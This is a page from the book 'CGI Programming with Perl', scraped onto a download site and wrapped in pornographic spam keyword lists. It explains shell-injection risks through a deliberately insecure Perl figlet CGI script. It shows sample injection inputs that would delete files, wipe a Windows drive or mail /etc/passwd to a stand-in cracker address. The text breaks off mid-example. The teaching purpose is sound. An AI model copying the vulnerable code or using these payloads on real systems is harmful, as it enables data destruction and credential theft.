亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專(zhuān)輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? ch08_02.htm

?? 用perl編寫(xiě)CGI的好書(shū)。本書(shū)從解釋CGI和底層HTTP協(xié)議如何工作開(kāi)始
?? HTM
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):
<?label 8.2. Handling User Input?><html><head><title>Handling User Input (CGI Programming with Perl)</title><link href="../style/style1.css" type="text/css" rel="stylesheet" /><meta name="DC.Creator" content="Scott Guelich, Gunther Birznieks and Shishir Gundavaram" /><meta scheme="MIME" content="text/xml" name="DC.Format" /><meta content="en-US" name="DC.Language" /><meta content="O'Reilly & Associates, Inc." name="DC.Publisher" /><meta scheme="ISBN" name="DC.Source" content="1565924193L" /><meta name="DC.Subject.Keyword" content="stuff" /><meta name="DC.Title" content="CGI Programming with Perl" /><meta content="Text.Monograph" name="DC.Type" /></head><body bgcolor="#ffffff"><img src="gifs/smbanner.gif" alt="Book Home" usemap="#banner-map" border="0" /><map name="banner-map"><area alt="CGI Programming with Perl" href="index.htm" coords="0,0,466,65" shape="rect" /><area alt="Search this book" href="jobjects/fsearch.htm" coords="467,0,514,18" shape="rect" /></map><div class="navbar"><table border="0" width="515"><tr><td width="172" valign="top" align="left"><a href="ch08_01.htm"><img src="../gifs/txtpreva.gif" alt="Previous" border="0" /></a></td><td width="171" valign="top" align="center"><a href="index.htm">CGI Programming with Perl</a></td><td width="172" valign="top" align="right"><a href="ch08_03.htm"><img src="../gifs/txtnexta.gif" alt="Next" border="0" /></a></td></tr></table></div><hr align="left" width="515" /><h2 class="sect1">8.2. Handling User Input</h2><p>Security problems<a name="INDEX-1670" /> <a name="INDEX-1,671" /><a name="INDEX-1672" /> <a name="INDEX-1,673" /> arise when you make assumptions aboutyour data: you assume that users will do what you expect, and theysurprise you. Users are good at this, even when they're nottrying. To write secure CGI scripts, you must also think creatively.Let's look at an example.</p><a name="ch08-1-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.1. Calling External Applications</h3><p><tt class="command">figlet</tt><a name="INDEX-1674" /> <a name="INDEX-1,675" /><a name="INDEX-1676" /> is afun application that allows us to create large, fancy ASCII artcharacters in many different sizes and styles. You can find examplesof <em class="emphasis">figlet</em> output as part of people'ssignatures in email messages and newsgroup posts. If<em class="emphasis">figlet</em> is not on your system, you can get itfrom <a href="http://st-www.cs.uiuc.edu/users/chai/figlet.html">http://st-www.cs.uiuc.edu/users/chai/figlet.html</a>.</p><p>You can execute <tt class="command">figlet</tt> from the command line inthe following manner:</p><blockquote><pre class="code">$ figlet -f fonts/slant 'I Love CGI!'</pre></blockquote><p>And the output would be:</p><blockquote><pre class="code">____   __                       ______________________   /  _/  / /   ____ _   _____     / ____/ __  _  _/  _/ /   / /   / /   / _  _ \ | / / _ \   / /   / / _  _ / // / _/ /   / /___/ /_/ / |/ /  __/  / /_  _  _/ /_/ // //_//___/  /_____/\____/|___/\___/   \____/\____/_  _  _(_)</pre></blockquote><p>We can write a CGI gateway to <tt class="command">figlet</tt> that allows auser to enter some text, executes a command like the one shown above,captures the output, and returns it to the browser.</p><p>First, <a href="ch08_02.htm#ch08-87350">Example 8-1</a> shows the<a name="INDEX-1677" />HTML form.</p><a name="ch08-87350" /><div class="example"><h4 class="objtitle">Example 8-1. figlet.html </h4><blockquote><pre class="code">&lt;html&gt;  &lt;head&gt;    &lt;title&gt;Figlet Gateway&lt;/title&gt;  &lt;/head&gt;    &lt;body bgcolor="#FFFFFF"&gt;        &lt;div align="center"&gt;    &lt;h2&gt;Figlet Gateway&lt;/h2&gt;        &lt;form action="/cgi/unsafe/figlet_INSECURE.cgi" method="GET"&gt;      &lt;p&gt;Please enter a string to pass to figlet:        &lt;input type="text" name="string"&gt;&lt;/p&gt;      &lt;input type="submit"&gt;    &lt;/form&gt;    &lt;/body&gt;&lt;/html&gt;</pre></blockquote></div><p>Now, <a href="ch08_02.htm#ch08-67876">Example 8-2</a> shows the program.</p><a name="ch08-67876" /><div class="example"><h4 class="objtitle">Example 8-2. figlet_INSECURE.cgi </h4><a name="INDEX-1678" /><blockquote><pre class="code">#!/usr/bin/perl -wuse strict;use CGI;use CGIBook::Error;# Constant: path to figletmy $FIGLET = '/usr/local/bin/figlet';my $q      = new CGI;my $string = $q-&gt;param( "string" );unless ( $string ) {    error( $q, "Please enter some text to display." );}local *PIPE;## This code is INSECURE...## Do NOT use this code on a live web server!!open PIPE, "$FIGLET \"$string\" |" or    die "Cannot open pipe to figlet: $!";print $q-&gt;header( "text/plain" );print while &lt;PIPE&gt;;close PIPE;</pre></blockquote></div><p>We first verify that the user entered a string and simply print anerror if not. Then we open a<a name="INDEX-1679" /><a name="INDEX-1680" />pipe (notice the trailing"|"character) to the <tt class="command">figlet</tt> command,passing it the string. By opening a pipe to another application, wecan read from it as though it is a file. In this case, we can get atthe <tt class="command">figlet</tt> output by simply reading from the PIPEfile handle.</p><p>We then print our content type, followed by the<tt class="command">figlet</tt> output. Perl lets us do this on one line:the <tt class="function">while</tt> loop reads a line from PIPE, stores itin <tt class="literal">$_</tt>, and calls <em class="emphasis">print</em>;when <em class="emphasis">print</em> is called without an argument, itwill output the value stored in <tt class="literal">$_</tt>; the loopautomatically terminates when all the data has been read from<tt class="command">figlet</tt>.</p><p>Admittedly, our example is somewhat dull. <tt class="command">figlet</tt>has many options for changing the font, etc., but we want to keep ourexample short and simple to be able to focus on the security issues.Many people assume that it's hard for something to go wrongwith scripts this simple. In fact, this CGI script allows a savvyuser to execute <em class="emphasis">any</em> command on your system!</p><p>Before reading further, see if you can figure out how this example isinsecure. Remember that your commands are executed with the samepermissions that your web server runs as (e.g.,<em class="emphasis">nobody</em>). If you want to test it on a web server,then only do so on a private web server that is<em class="emphasis">not</em> attached to the Internet! Finally, try tofigure out how to fix this security problem.</p><p>The reason why we suggest that you try to find the solution yourselfis that there are many possible solutions that appear secure but arenot. Before we look at the solutions, let's analyze theproblem. It should have been pretty obvious (if only from thecomments in the code), that the culprit is the call that opens a pipeto <tt class="command">figlet</tt>. Why is this insecure? Well, itisn't if the user does in fact pass simple words withoutpunctuation. But if you assume this then you would be forgetting ourrule: never trust any data from the user.</p></div><a name="ch08-2-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.2. User Input and the Shell</h3><p>You should not assume this field will contain harmless data. It couldbe anything. When Perl opens a<a name="INDEX-1681" /> <a name="INDEX-1,682" />pipe to an external program, itpasses the command through a<a name="INDEX-1683" /><a name="INDEX-1684" />shell.Suppose the input were the text:</p><blockquote><pre class="code">`rm -rf /`</pre></blockquote><p>or:</p><blockquote><pre class="code">"; mail cracker@badguys.net &lt;/etc/passwd"</pre></blockquote><p>These commands would execute as if the following commands had beenentered into a shell:</p><blockquote><pre class="code">$ /usr/local/bin/figlet "`rm -rf /`"$ /usr/local/bin/figlet ""; mail cracker@badguys.net &lt;/etc/passwd</pre></blockquote><p>The first command would attempt to erase every file on your server,leaving you to search for your backup tapes.<a href="#FOOTNOTE-13">[13]</a> The second wouldemail your system password file to someone you'd probablyrather not have trying to log into your system. Windows servers areno better off; the input <tt class="literal">"| del /f /s /q c:\"</tt>would be just as catastrophic.</p><blockquote><a name="FOOTNOTE-13" /><p>[13]Thisexample shows you why it is important to create a special user like<em class="emphasis">nobody</em> to run your web server and why this usershould own as few files as possible. See <a href="ch01_01.htm">Chapter 1, "Getting Started "</a></p></blockquote><p>So what should we do? Well, the main problem is that the shell givesmany <a name="INDEX-1685" /><a name="INDEX-1686" />characters special meaning. Forexample, the backtick character (<tt class="literal">`</tt>) allows you toembed one command inside another. This makes the shell powerful, butin this context, that power is dangerous. We could attempt to make alist of all the special characters. We would need to include all thecharacters that can cause other commands to run, that change theenvironment in significant ways, or terminate our intended commandsand allow another command to follow.</p><p>We could change the code as follows:</p><blockquote><pre class="code">my $q      = new CGI;my $string = $q-&gt;param( "string" );unless ( $string ) {    error( $q, "Please enter some text to display." );}## This is an incomplete example; this is NOT a secure checkif ( $string =~ /[`\$\\"';&amp; ...  ] ) {    error( $q,        "Your text may not include these characters: `\$\\\"';&amp; ..." );}</pre></blockquote><p>This example is not complete, and we will not provide a full list ofdangerous characters here. We won't create such a list becausewe do not trust that we will not miss something important, and thatis why this is the wrong way to go about solving the problem. Thissolution requires you to know every possible way that the shell canexecute a dangerous command. If you miss just one thing, you can becompromised.</p></div><a name="ch08-3-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.3. Security Strategies</h3><p>The <a name="INDEX-1687" />rightway is not to make a list of what to disallow. The right way is tomake a list of what to allow. This makes the solution much moremanageable. If you start by saying that anything goes and looking forthose things that cause problems, you will spend a long time looking.There are countless combinations to check. If you say that nothinggoes and then slowly add things, you can check each of these as youadd them and confirm that nothing will slip past you. If you misssomething, you have disallowed something you should allow, and youcan correct the problem by testing it and adding it. This is a muchsafer way to error.</p><p>The final reason why this is the safer way to go is that securitysolutions should be simple. It's never a good idea to simplytrust someone else who provides you a "definitive" listof something as important as dangerous shell characters to checkagainst. You are the one who is accountable for your code, so youshould fully understand why and how your code works, and not placeblind faith in others.</p><p>So let's make a<a name="INDEX-1688" />list of things to allow. We will allowletters, numbers, underscores, spaces, hyphens, periods, questionmarks, and exclamation points. That's a lot, and it shouldcover most of the strings that users try to convert. Let's alsoswitch to <a name="INDEX-1689" />single quotes around the argumentto make things even safer. <a href="ch08_02.htm#ch08-83626">Example 8-3</a> provides amore secure version of our CGI script.</p><a name="ch08-83626" /><div class="example"><h4 class="objtitle">Example 8-3. figlet_INSECURE2.cgi </h4><a name="INDEX-1690" /><blockquote><pre class="code">#!/usr/bin/perl -wuse strict;use CGI;use CGIBook::Error;my $FIGLET = '/usr/local/bin/figlet';

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲免费观看高清| 亚洲日本丝袜连裤袜办公室| 国产精品午夜久久| 亚洲妇熟xx妇色黄| 久久国产乱子精品免费女| 国产主播一区二区三区| 欧美在线视频日韩| 欧美激情中文字幕| 日本亚洲电影天堂| 欧美在线啊v一区| 日本一区二区三级电影在线观看| 日本免费在线视频不卡一不卡二 | 久久这里只有精品6| 午夜不卡av免费| 在线免费一区三区| 国产欧美一区二区精品婷婷| 日韩av电影天堂| 欧美三电影在线| 一区二区三区国产精华| 91在线播放网址| 亚洲欧美日韩国产成人精品影院 | 综合在线观看色| 国产精品夜夜嗨| 久久久三级国产网站| 久久爱另类一区二区小说| 91精品国产入口| 午夜精品久久久久久久99樱桃| 国产suv精品一区二区6| xnxx国产精品| 国产盗摄视频一区二区三区| 久久亚洲二区三区| 国产一区二区三区美女| 精品久久久久一区二区国产| 日韩福利视频网| 日韩欧美另类在线| 国产一区二区主播在线| 精品久久久久久久人人人人传媒 | 欧美私人免费视频| 国产精品区一区二区三| 成人国产精品免费观看| 国产蜜臀av在线一区二区三区| 韩国欧美国产1区| 26uuu亚洲| 国产成人午夜99999| 国产欧美久久久精品影院| 粉嫩av亚洲一区二区图片| 国产精品国产三级国产普通话99 | 亚洲一区二区黄色| 日韩一区二区影院| 九色porny丨国产精品| 国产日韩欧美精品综合| 99re这里都是精品| 午夜欧美2019年伦理| 精品少妇一区二区三区免费观看| 久久av中文字幕片| 国产精品国产自产拍高清av王其| 欧美中文字幕一二三区视频| 热久久国产精品| 国产精品午夜电影| 精品视频一区二区不卡| 久草精品在线观看| 一区二区在线看| 欧美刺激脚交jootjob| eeuss鲁片一区二区三区| 亚洲成a人片综合在线| 久久日一线二线三线suv| 99在线精品免费| 免费看黄色91| 亚洲色图视频网| 欧美电视剧在线看免费| 91麻豆国产福利精品| 久久国产精品一区二区| 伊人色综合久久天天| 久久综合国产精品| 欧美日韩三级一区二区| 成人污污视频在线观看| 日本aⅴ免费视频一区二区三区| 国产欧美一区二区精品性色超碰| 欧美日韩国产在线观看| 丁香六月久久综合狠狠色| 亚洲成av人片| 国产精品国产三级国产| 精品日产卡一卡二卡麻豆| 欧美在线你懂得| 国产69精品久久777的优势| 婷婷综合另类小说色区| 国产精品青草久久| 欧美电影免费观看高清完整版在线 | 亚洲精品视频免费看| 日韩欧美高清dvd碟片| 欧美专区日韩专区| 99久久国产免费看| 国产精品一二一区| 极品美女销魂一区二区三区免费| 亚洲一区二区不卡免费| 最新国产精品久久精品| 欧美精品一区二区高清在线观看 | 亚洲狠狠爱一区二区三区| 国产精品色一区二区三区| 日韩精品一区二区三区视频播放| 欧美日韩一区精品| 在线亚洲免费视频| 91日韩精品一区| www.欧美.com| 成人国产免费视频| av激情成人网| 成人av资源在线观看| 国产毛片一区二区| 国产一区二区毛片| 国产乱人伦偷精品视频免下载| 久久丁香综合五月国产三级网站 | 亚洲成人免费视| 亚洲在线中文字幕| 亚洲电影第三页| 亚洲电影中文字幕在线观看| 亚洲一二三级电影| 日韩黄色免费电影| 日韩av一区二区在线影视| 日韩激情一区二区| 久久国产精品无码网站| 国产在线播放一区| 丁香激情综合五月| 99久久99久久精品免费观看| 91日韩一区二区三区| 欧美在线色视频| 欧美一级高清片| 久久一留热品黄| 国产精品家庭影院| 亚洲一区自拍偷拍| 青青草97国产精品免费观看无弹窗版| 日韩av一区二区三区| 极品少妇一区二区三区精品视频| 国产91在线观看丝袜| 色哟哟一区二区| 欧美日韩激情一区二区三区| 69堂国产成人免费视频| 精品国产91久久久久久久妲己| 国产日韩欧美激情| 亚洲一区在线观看免费观看电影高清 | 欧美一二三区在线| 久久蜜桃av一区精品变态类天堂| 国产精品免费视频网站| 亚洲综合激情另类小说区| 日本va欧美va瓶| 成人免费视频免费观看| 欧美午夜片在线看| 久久久久青草大香线综合精品| 日韩理论片网站| 免费久久99精品国产| 99久久免费国产| 日韩一区二区不卡| 国产精品乱码一区二区三区软件| 亚洲va国产va欧美va观看| 国产精品456露脸| 欧美日韩一区在线| 国产精品天天看| 美女网站一区二区| 色婷婷国产精品综合在线观看| 欧美一级日韩免费不卡| 亚洲日本一区二区| 国产精品一区二区三区四区| 在线观看亚洲a| 欧美极品xxx| 奇米精品一区二区三区在线观看 | 一本到不卡精品视频在线观看| 欧美一区二区三区人| 亚洲三级电影网站| 国精品**一区二区三区在线蜜桃| 欧美中文字幕一区二区三区| 亚洲国产激情av| 免费精品视频在线| 欧美色图免费看| 亚洲日穴在线视频| 成人久久18免费网站麻豆| 日韩午夜三级在线| 亚洲18色成人| 在线一区二区三区做爰视频网站| 国产欧美综合在线观看第十页| 日本va欧美va瓶| 91精品国产欧美一区二区成人| 亚洲精品乱码久久久久久黑人| 成人午夜电影久久影院| 久久精品男人天堂av| 蜜桃av一区二区| 在线电影国产精品| 亚洲高清视频中文字幕| 色综合久久中文综合久久牛| 国产精品高清亚洲| 成人网在线播放| 亚洲国产精品黑人久久久| 国产精一区二区三区| 久久亚洲免费视频| 国产麻豆成人传媒免费观看| 日韩女优av电影在线观看| 免费精品视频在线| 精品免费日韩av| 国产精品一线二线三线精华| 久久精品一区四区| 国产jizzjizz一区二区| 国产精品天美传媒|